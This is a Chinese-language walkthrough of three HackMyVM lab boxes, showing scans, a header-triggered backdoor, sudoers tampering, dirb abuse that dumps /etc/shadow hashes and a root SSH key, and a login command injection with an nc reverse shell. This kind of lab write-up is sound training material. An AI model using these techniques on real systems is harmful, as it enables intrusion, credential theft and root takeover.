HackMyVM Blackhat信息收集root@kali:~# arp-scan --localnet -I eth0 Interface: eth0, type: EN10MB, MAC: 00:0c:29:d8:ab:ac, IPv4: 192.168.100.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.100.1 bc:24:11:b4:12:2d (Unknown) 192.168.100.2 bc:24:11:a2:5b:a7 (Unknown) 192.168.100.3 00:e0:4f:25:79:40 Cisco Systems, Inc 192.168.100.10 90:09:d0:24:84:21 Synology Incorporated 192.168.100.11 c8:98:28:3e:45:5b (Unknown) 192.168.100.12 c8:98:28:3e:49:9d (Unknown) 192.168.100.53 98:8f:e0:6b:01:94 Huaqin Technology Co.,Ltd. 192.168.100.53 98:8f:e0:6b:01:94 Huaqin Technology Co.,Ltd. (DUP: 2) 192.168.100.54 08:00:27:c4:74:2a PCS Systemtechnik GmbH 192.168.100.52 ae:b9:07:ec:8e:76 (Unknown: locally administered) 192.168.100.51 54:48:e6:cb:25:c9 Beijing Xiaomi Mobile Software Co., Ltd 14 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.026 seconds (126.36 hosts/sec). 10 responded端口扫描root@kali:~# nmap 192.168.100.54 -p- Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-05 14:43 EDT Nmap scan report for 192.168.100.54 Host is up (0.00078s latency). Not shown: 65534 closed tcp ports (reset) PORT STATE SERVICE 80/tcp open http MAC Address: 08:00:27:C4:74:2A (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 6.40 seconds80端口：image-20250506024441421目录枚举root@kali:~# gobuster dir -x php,txt,html,js -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -u http://192.168.100.54 =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.100.54 [+] Method: GET [+] Threads: 50 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Extensions: php,txt,html,js [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /.php (Status: 403) [Size: 279] /.html (Status: 403) [Size: 279] /index.html (Status: 200) [Size: 1437] /.php (Status: 403) [Size: 279] /.html (Status: 403) [Size: 279] /phpinfo.php (Status: 200) [Size: 69344] /server-status (Status: 403) [Size: 279] Progress: 1102795 / 1102800 (100.00%)有一个phpinfo.php 暂时未发现什么东西image-20250506030016283在 index.html 中发现一行被display:none 的标签check backdoor 指定是有什么后门 不知道在哪里扫过 web GET 参数啥都没扫到最后在 phpinfo 中搜了一下 backdoor 发现 加载了一个mod_backdoorimage-20250506030256669查询这个模块后发现只需要在请求头中加入Backdoor: id 就可以进行命令执行了image-20250506030630019GetShellimage-20250506030844699User提权找了很久都没有找到提权点但是跑了一遍linpeas.sh 发现了╔══════════╣ Files with ACLs (limited to 50) ╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#acls # file: /etc/sudoers USER root r-- user darkdante rw- GROUP root r-- mask rw- other --- darkdante可以写sudoers文件 ，拿到user就能秒root了没有任何提权点， 那只可能是弱口令结果一试，这用户根本没有密码 直接就登上去了...UserFlagdarkdante@blackhat:~$ cat user.txt 89fac491dc9bdc5fc4e3595dd396fb11Root提权刚刚跑到了sudoers可写， 直接写darkdante@blackhat:~$ ls -al /etc/sudoers -r--rw----+ 1 root root 669 Nov 19 2022 /etc/sudoersecho 'darkdante ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoersdarkdante@blackhat:~$ sudo -l Matching Defaults entries for darkdante on blackhat: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User darkdante may run the following commands on blackhat: (ALL) NOPASSWD: ALL darkdante@blackhat:~$ sudo bash root@blackhat:/home/darkdante# id uid=0(root) gid=0(root) groups=0(root) root@blackhat:/home/darkdante#就完了RootFlagroot@blackhat:~# cat root.txt 8cc6110bc1a0607015c354a459468442
HackMyVM Crack信息收集┌──(kali㉿kali)-[~] └─$ nmap -p0-65535 192.168.100.55 Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-04 11:08 EDT Nmap scan report for 192.168.100.55 Host is up (0.00038s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp 4200/tcp open vrml-multi-use 12359/tcp open unknown MAC Address: 08:00:27:90:73:E2 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 5.72 seconds详细扫一下┌──(kali㉿kali)-[~] └─$ nmap -p21,4200,12359 -sC -sV 192.168.100.55 Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-04 11:12 EDT Nmap scan report for 192.168.100.55 Host is up (0.00049s latency). PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:192.168.100.100 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 1 | vsFTPd 3.0.3 - secure, fast, stable |_End of status | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_drwxrwxrwx 2 0 0 4096 Jun 07 2023 upload [NSE: writeable] 4200/tcp open ssl/http ShellInABox |_http-title: Shell In A Box |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=crack | Not valid before: 2023-06-07T10:20:13 |_Not valid after: 2043-06-02T10:20:13 12359/tcp open unknown | fingerprint-strings: | GenericLines: | File to read:NOFile to read: | NULL: |_ File to read: 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port12359-TCP:V=7.95%I=7%D=5/4%Time=681783E9%P=x86_64-pc-linux-gnu%r(NU SF:LL,D,"File\x20to\x20read:")%r(GenericLines,1C,"File\x20to\x20read:NOFil SF:e\x20to\x20read:"); MAC Address: 08:00:27:90:73:E2 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Service Info: OS: Unix Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 25.86 seconds21: 可以发现 FTP 可以匿名访问 upload/下有一个crack.pyimport os import socket s = socket.socket() s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) port = 12359 s.bind(('', port)) s.listen(50) c, addr = s.accept() no = "NO" while True: try: c.send('File to read:'.encode()) data = c.recv(1024) file = (str(data, 'utf-8').strip()) filename = os.path.basename(file) check = "/srv/ftp/upload/"+filename if os.path.isfile(check) and os.path.isfile(file): f = open(file,"r") lines = f.readlines() lines = str(lines) lines = lines.encode() c.send(lines) else: c.send(no.encode()) except ConnectionResetError: pass4200: 是一个 web 是一个终端image-2025050423212179712359: nc 过去后File to read: 是 ftp 中的py 脚本 脚本中有一些限制┌──(kali㉿kali)-[~] └─$ nc 192.168.100.55 12359 File to read:/etc/passwd NOFile to read:/etc/passwd NOFile to read:GetShellfile = (str(data, 'utf-8').strip()) filename = os.path.basename(file) check = "/srv/ftp/upload/"+filename if os.path.isfile(check) and os.path.isfile(file): f = open(file,"r") ...可以发现他检查了一下这个文件是否在 ftp/upload 和 我输入的路径中存在, 居然最终去读我输入的路径那么就很简单了， 只需要在 ftp/upload 中上传一个我想看的文件 (比如 /etc/passwd) 就可以读取到了┌──(kali㉿kali)-[~] └─$ lftp 192.168.100.55 -u Anonymous 密码: lftp Anonymous@192.168.100.55:~> ls drwxrwxrwx 2 0 0 4096 May 04 17:49 upload lftp Anonymous@192.168.100.55:/> cd upload lftp Anonymous@192.168.100.55:/upload> put passwd lftp Anonymous@192.168.100.55:/upload> ls -rwxr-xr-x 1 1000 1000 849 Jun 07 2023 crack.py -rw------- 1 107 114 0 May 04 18:08 passwd lftp Anonymous@192.168.100.55:/upload>┌──(kali㉿kali)-[~] └─$ nc 192.168.100.55 12359 File to read:/etc/passwd ['root:x:0:0:root:/root:/bin/bash\n', 'daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n', 'bin:x:2:2:bin:/bin:/usr/sbin/nologin\n', 'sys:x:3:3:sys:/dev:/usr/sbin/nologin\n', 'sync:x:4:65534:sync:/bin:/bin/sync\n', 'games:x:5:60:games:/usr/games:/usr/sbin/nologin\n', 'man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\n', 'lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\n', 'mail:x:8:8:mail:/var/mail:/usr/sbin/nologin\n', 'news:x:9:9:news:/var/spool/news:/usr/sbin/nologin\n', 'uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\n', 'proxy:x:13:13:proxy:/bin:/usr/sbin/nologin\n', 'www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\n', 'backup:x:34:34:backup:/var/backups:/usr/sbin/nologin\n', 'list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\n', 'irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\n', 'gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\n', 'nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n', '_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\n', 'systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin\n', 'systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin\n', 'messagebus:x:103:109::/nonexistent:/usr/sbin/nologin\n', 'systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin\n', 'sshd:x:105:65534::/run/sshd:/usr/sbin/nologin\n', 'cris:x:1000:1000:cris,,,:/home/cris:/bin/bash\n', 'systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin\n', 'shellinabox:x:106:112:Shell In A Box,,,:/var/lib/shellinabox:/usr/sbin/nologin\n', 'ftp:x:107:114:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin\n']root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:109::/nonexistent:/usr/sbin/nologin systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin sshd:x:105:65534::/run/sshd:/usr/sbin/nologin cris:x:1000:1000:cris,,,:/home/cris:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin shellinabox:x:106:112:Shell In A Box,,,:/var/lib/shellinabox:/usr/sbin/nologin ftp:x:107:114:ftp daemon,,,:/srv/ftp:/usr/sbin/nologinuser 可登录的 只有 cris 暂时没想到密码会在哪里， 猜测可能是弱口令回到 4200 web 尝试登录 尝试后发现 密码就是 cris网页上的 shell 卡卡的 不知道为什么所以我用 socat 转发了一下 22 端口连 ssh 了UserFlagcris@crack:~$ id uid=1000(cris) gid=1000(cris) grupos=1000(cris),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev) cris@crack:~$ cat user.txt eG4TUsTBxSFjTOPHMVRoot 提权cris@crack:~$ sudo -l Matching Defaults entries for cris on crack: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User cris may run the following commands on crack: (ALL) NOPASSWD: /usr/bin/dirbsudo -l 后发现dirb 那很明显了，肯定是任意文件读取cris@crack:~$ sudo dirb https://127.0.0.1:4200 /etc/shadow -v ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Sun May 4 18:28:50 2025 URL_BASE: https://127.0.0.1:4200/ WORDLIST_FILES: /etc/shadow OPTION: Show Not Existent Pages ----------------- GENERATED WORDS: 28 ---- Scanning URL: https://127.0.0.1:4200/ ---- + https://127.0.0.1:4200/root:$y$j9T$LVT9GIrLdk5L.xns1akJZ1$wmigJ7er07AT/VwIAuYSZ3j94LOCe8EJHC6d2mlZVo3:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/daemon:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/bin:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/sys:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/sync:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/games:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/man:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/lp:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/mail:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/news:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/uucp:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/proxy:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/www-data:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/backup:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/list:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/irc:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/gnats:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/nobody:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/_apt:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/systemd-network:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/systemd-resolve:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/messagebus:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/systemd-timesync:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/sshd:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/cris:$y$j9T$kFXVxpRhH2ZAeDGNazqRq/$IokBR4XhhyRJOur8YOHu3fF59/0NOHC5AIsvkxXx8..:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/systemd-coredump:!*:19515:::::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/shellinabox:*:19515:0:99999:7::: (CODE:404|SIZE:356) + https://127.0.0.1:4200/ftp:*:19515:0:99999:7::: (CODE:404|SIZE:356) ----------------- END_TIME: Sun May 4 18:28:50 2025 DOWNLOADED: 28 - FOUND: 0把/etc/shadow 指定为字典就能带出来了但是root 密码用 john 没有跑出来 尝试直接读rootflag 失败了， 没有找到 root.txt 再读了一下私钥 读出来了cris@crack:~$ sudo dirb https://127.0.0.1:4200 /root/.ssh/id_rsa -v ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Sun May 4 18:40:32 2025 URL_BASE: https://127.0.0.1:4200/ WORDLIST_FILES: /root/.ssh/id_rsa OPTION: Show Not Existent Pages ----------------- GENERATED WORDS: 38 ---- Scanning URL: https://127.0.0.1:4200/ ---- + https://127.0.0.1:4200/-----BEGIN (CODE:404|SIZE:356) + https://127.0.0.1:4200/b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn (CODE:404|SIZE:356) + https://127.0.0.1:4200/NhAAAAAwEAAQAAAYEAxBvRe3EH67y9jIt2rwa79tvPDwmb2WmYv8czPn4bgSCpFmhDyHwn (CODE:404|SIZE:356) + https://127.0.0.1:4200/b0IUyyw3iPQ3LlTYyz7qEc2vaj1xqlDgtafvvtJ2EJAJCFy5osyaqbYKgAkGkQMzOevdGt (CODE:404|SIZE:356) + https://127.0.0.1:4200/xNQ8NxRO4/bC1v90lUrhyLi/ML5B4nak+5vLFJi8NlwXMQJ/xCWZg5+WOLduFp4VvHlwAf (CODE:404|SIZE:356) + https://127.0.0.1:4200/tDh2C+tJp2hqusW1jZRqSXspCfKLPt/v7utpDTKtofxFvSS55MFciju4dIaZLZUmiqoD4k (CODE:404|SIZE:356) + https://127.0.0.1:4200//+FwJbMna8iPwmvK6n/2bOsE1+nyKbkbvDG5pjQ3VBtK23BVnlxU4frFrbicU+VtkClfMu (CODE:404|SIZE:356) + https://127.0.0.1:4200/yp7muWGA1ydvYUruoOiaURYupzuxw25Rao0Sb8nW1qDBYH3BETPCypezQXE22ZYAj0ThSl (CODE:404|SIZE:356) + https://127.0.0.1:4200/Kn2aZN/8xWAB+/t96TcXogtSbQw/eyp9ecmXUpq5i1kBbFyJhAJs7x37WM3/Cb34a/6v8c (CODE:404|SIZE:356) + https://127.0.0.1:4200/9rMjGl9HMZFDwswzAGrvPOeroVB/TpZ+UBNGE1znAAAFgC5UADIuVAAyAAAAB3NzaC1yc2 (CODE:404|SIZE:356) + https://127.0.0.1:4200/EAAAGBAMQb0XtxB+u8vYyLdq8Gu/bbzw8Jm9lpmL/HMz5+G4EgqRZoQ8h8J29CFMssN4j0 (CODE:404|SIZE:356) + https://127.0.0.1:4200/Ny5U2Ms+6hHNr2o9capQ4LWn777SdhCQCQhcuaLMmqm2CoAJBpEDMznr3RrcTUPDcUTuP2 (CODE:404|SIZE:356) + https://127.0.0.1:4200/wtb/dJVK4ci4vzC+QeJ2pPubyxSYvDZcFzECf8QlmYOflji3bhaeFbx5cAH7Q4dgvrSado (CODE:404|SIZE:356) + https://127.0.0.1:4200/arrFtY2Uakl7KQnyiz7f7+7raQ0yraH8Rb0kueTBXIo7uHSGmS2VJoqqA+JP/hcCWzJ2vI (CODE:404|SIZE:356) + https://127.0.0.1:4200/j8Jryup/9mzrBNfp8im5G7wxuaY0N1QbSttwVZ5cVOH6xa24nFPlbZApXzLsqe5rlhgNcn (CODE:404|SIZE:356) + https://127.0.0.1:4200/b2FK7qDomlEWLqc7scNuUWqNEm/J1tagwWB9wREzwsqXs0FxNtmWAI9E4UpSp9mmTf/MVg (CODE:404|SIZE:356) + https://127.0.0.1:4200/Afv7fek3F6ILUm0MP3sqfXnJl1KauYtZAWxciYQCbO8d+1jN/wm9+Gv+r/HPazIxpfRzGR (CODE:404|SIZE:356) + https://127.0.0.1:4200/Q8LMMwBq7zznq6FQf06WflATRhNc5wAAAAMBAAEAAAGAeX9uopbdvGx71wZUqo12iLOYLg (CODE:404|SIZE:356) + https://127.0.0.1:4200/3a87DbhP2KPw5sRe0RNSO10xEwcVq0fUfQxFXhlh/VDN7Wr98J7b1RnZ5sCb+Y5lWH9iz2 (CODE:404|SIZE:356) + https://127.0.0.1:4200/m6qvDDDNJZX2HWr6GX+tDhaWLt0MNY5xr64XtxLTipZxE0n2Hueel18jNldckI4aLbAKa/ (CODE:200|SIZE:5215) + https://127.0.0.1:4200/a4rL058j5AtMS6lBWFvqxZFLFr8wEECdBlGoWzkjGJkMTBsPLP8yzEnlipUxGgTR/3uSMN (CODE:404|SIZE:356) + https://127.0.0.1:4200/peiKDzLI/Y+QcQku/7GmUIV4ugP0fjMnz/XcXqe6GVNX/gvNeT6WfKPCzcaXiF4I2i228u (CODE:404|SIZE:356) + https://127.0.0.1:4200/TB9Ga5PNU2nYzJAQcAVvDwwC4IiNsDTdQY+cSOJ0KCcs2cq59EaOoZHY6Od88900V3MKFG (CODE:404|SIZE:356) + https://127.0.0.1:4200/TwielzW1Nqq1ltaQYMtnILxzEeXJFp6LlqFTF4Phf/yUyK04a6mhFg3kJzsxE+iDOVH28D (CODE:404|SIZE:356) + https://127.0.0.1:4200/Unj2OgO53KJ2FdLBHkUDlXMaDsISuizi0aj2MnhCryfHefhIsi1JdFyMhVuXCzNGUBAAAA (CODE:404|SIZE:356) + https://127.0.0.1:4200/wQDlr9NWE6q1BovNNobebvw44NdBRQE/1nesegFqlVdtKM61gHYWJotvLV79rjjRfjnGHo (CODE:404|SIZE:356) + https://127.0.0.1:4200/0MoSXZXiC/0/CSfe6Je7unnIzhiA85jSe/u2dIviqItTc2CBRtOZl7Vrflt7lasT7J1WAO (CODE:404|SIZE:356) + https://127.0.0.1:4200/1ROwaN5uL26gIgtf/Y7Rhi0wFPN289UI2gjeVQKhXBObVm3qY7yZh8JpLPH5w0Xeuo20sP (CODE:404|SIZE:356) + https://127.0.0.1:4200/WchZl0D8KSZUKhlPU6Pibqmj9bAAm7hwFecuQMeS+nxg1qIGYAAADBAOZ1XurOyyH9RWIo (CODE:404|SIZE:356) + https://127.0.0.1:4200/0sTQ3d/kJNgTNHAs4Y0SxSOejC+N3tEU33GU3P+ppfHYy595rX7MX4o3gqXFpAaHRIAupr (CODE:404|SIZE:356) + https://127.0.0.1:4200/DbenB1HQW4o6Gg+SF2GWPAQeuDbCsLM9P8XOiQIjTuCvYwHUdFD7nWMJ5Sqr6EeBV+CYw1 (CODE:404|SIZE:356) + https://127.0.0.1:4200/Tg5PIU3FsnN5D3QOHVpGNo2qAvi+4CD0BC5fxOs6cZ1RBqbJ1kanw1H6fF8nRRBds+26Bl (CODE:404|SIZE:356) + https://127.0.0.1:4200//RGZHTBPLVenhNmWN2fje3GDBqVeIbZwAAAMEA2dfdjpefYEgtF0GMC9Sf5UzKIEKQMzoh (CODE:404|SIZE:356) + https://127.0.0.1:4200/oxY6YRERurpcyYuSa/rxIP2uxu1yjIIcO4hpsQaoipTM0T9PS56CrO+FN9mcIcXCj5SVEq (CODE:404|SIZE:356) + https://127.0.0.1:4200/2UVzu9LS0PdqPmniNmWglwvAbkktcEmbmCLYoh5GBxm9VhcL69dhzMdVe73Z9QhNXnMDlf (CODE:404|SIZE:356) + https://127.0.0.1:4200/6xpD9lHWyp+ocD/meYC7V8aio/W9VxL25NlYwdFyCgecd/rIJQ+tGPXoqXIKrf5lVrVtFC (CODE:404|SIZE:356) + https://127.0.0.1:4200/s8IoeeQHSidUKBAAAACnJvb3RAY3JhY2s= (CODE:404|SIZE:356) + https://127.0.0.1:4200/-----END (CODE:404|SIZE:356) ----------------- END_TIME: Sun May 4 18:40:32 2025 DOWNLOADED: 38 - FOUND: 1-----BEGIN OPENSSH PRIVATE KEY----- [binary] -----END OPENSSH PRIVATE KEY-----修改一下格式就可以直接登录了RootFlagroot@crack:~# id uid=0(root) gid=0(root) grupos=0(root) root@crack:~# cat root_fl4g.txt wRt2xlFjcYqXXo4HMV总结难度尚可, 适合我这种菜b
HackMyVM Azer信息收集$ nmap 192.168.100.54 -p- Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-01 06:19 EDT Nmap scan report for 192.168.100.54 Host is up (0.00071s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 80/tcp open http 3000/tcp open ppp MAC Address: 08:00:27:D6:92:0B (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 6.00 secondsimage-2025050118210276280 是一个网页 未发现明显线索3000 端口是一个登录页面image-20250501182216467随便试了一下弱口令后返回image-20250501183040641好像会使用我输入的账密 执行脚本验证 所以我们进行命令注入尝试使用 | id 发现没有回显| sleep 5成功睡眠了GetShell那么我们直接开始反弹 Shell使用 nc -c bash 192.168.100.100 9001 命令反弹 shell┌──(kali㉿kali)-[~] └─$ nc -lvnp 9001 listening on [any] 9001 ... connect to [192.168.100.100] from (UNKNOWN) [192.168.100.54] 59874 id uid=1000(azer) gid=1000(azer) groups=1000(azer),100(users)获取User Flagazer@azer:~$ ls -al total 64 drwx------ 5 azer azer 4096 Feb 21 2024 . drwxr-xr-x 3 root root 4096 Feb 21 2024 .. -rwxr-xr-x 1 azer azer 72 Feb 21 2024 get.sh drwxr-xr-x 66 azer azer 4096 Feb 21 2024 node_modules drwxr-xr-x 4 azer azer 4096 Feb 21 2024 .npm -rw-r--r-- 1 azer azer 53 Feb 21 2024 package.json -rw-r--r-- 1 azer azer 25336 Feb 21 2024 package-lock.json -rw-r--r-- 1 azer azer 1950 Feb 21 2024 server.js drwxr-xr-x 2 azer azer 4096 Feb 21 2024 .ssh -rw------- 1 azer azer 33 Feb 21 2024 user.txt azer@azer:~$ cat user.txt 0d2856d69dc348b3af80a0eed67c7502在家目录中获得了 user flagRoot提权azer@azer:~$ ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host noprefixroute valid_lft forever preferred_lft forever 2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000 link/ether 08:00:27:d6:92:0b brd ff:ff:ff:ff:ff:ff inet 192.168.100.54/24 brd 192.168.100.255 scope global dynamic enp0s3 valid_lft 5317sec preferred_lft 5317sec inet6 fe80::a00:27ff:fed6:920b/64 scope link valid_lft forever preferred_lft forever 3: br-333bcb432cd5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:6c:62:72:35 brd ff:ff:ff:ff:ff:ff inet 10.10.10.1/24 brd 10.10.10.255 scope global br-333bcb432cd5 valid_lft forever preferred_lft forever inet6 fe80::42:6cff:fe62:7235/64 scope link valid_lft forever preferred_lft forever 4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default link/ether 02:42:2c:c8:ed:3c brd ff:ff:ff:ff:ff:ff inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0 valid_lft forever preferred_lft forever 6: veth8c248f3@if5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-333bcb432cd5 state UP group default link/ether 3e:b4:9b:14:67:55 brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet6 fe80::3cb4:9bff:fe14:6755/64 scope link valid_lft forever preferred_lft forever发现一个 docker 那么使用 fscan 扫描一下主机azer@azer:~$ ./fscan -np -no -h 10.10.10.1/24 ┌──────────────────────────────────────────────┐ │ ___ _ │ │ / _ \ ___ ___ _ __ __ _ ___| | __ │ │ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / │ │ / /_\\_____\__ \ (__| | | (_| | (__| < │ │ \____/ |___/\___|_| \__,_|\___|_|\_\ │ └──────────────────────────────────────────────┘ Fscan Version: 2.0.0 [2025-05-01 08:52:24] [INFO] 暴力破解线程数: 1 [2025-05-01 08:52:25] [INFO] 开始信息扫描 [2025-05-01 08:52:25] [INFO] CIDR范围: 10.10.10.0-10.10.10.255 [2025-05-01 08:52:25] [INFO] 生成IP范围: 10.10.10.0.%!d(string=10.10.10.255) - %!s(MISSING).%!d(MISSING) [2025-05-01 08:52:25] [INFO] 解析CIDR 10.10.10.1/24 -> IP范围 10.10.10.0-10.10.10.255 [2025-05-01 08:52:25] [INFO] 最终有效主机数量: 256 [2025-05-01 08:52:25] [INFO] 开始主机扫描 [2025-05-01 08:52:25] [INFO] 有效端口数量: 233 [2025-05-01 08:53:01] [SUCCESS] 端口开放 10.10.10.10:80 [2025-05-01 08:53:01] [SUCCESS] 端口开放 10.10.10.1:80 [2025-05-01 08:53:06] [SUCCESS] 服务识别 10.10.10.10:80 => [http]发现了10.10.10.10:80curl 出了一个奇怪的东西， 试了一下是 Root 密码azer@azer:/$ curl 10.10.10.10:80 .:.AzerBulbul.:.Root Flagroot@azer:~# cat root.txt b5d96aec2d5f1541c5e7910ccab527d8
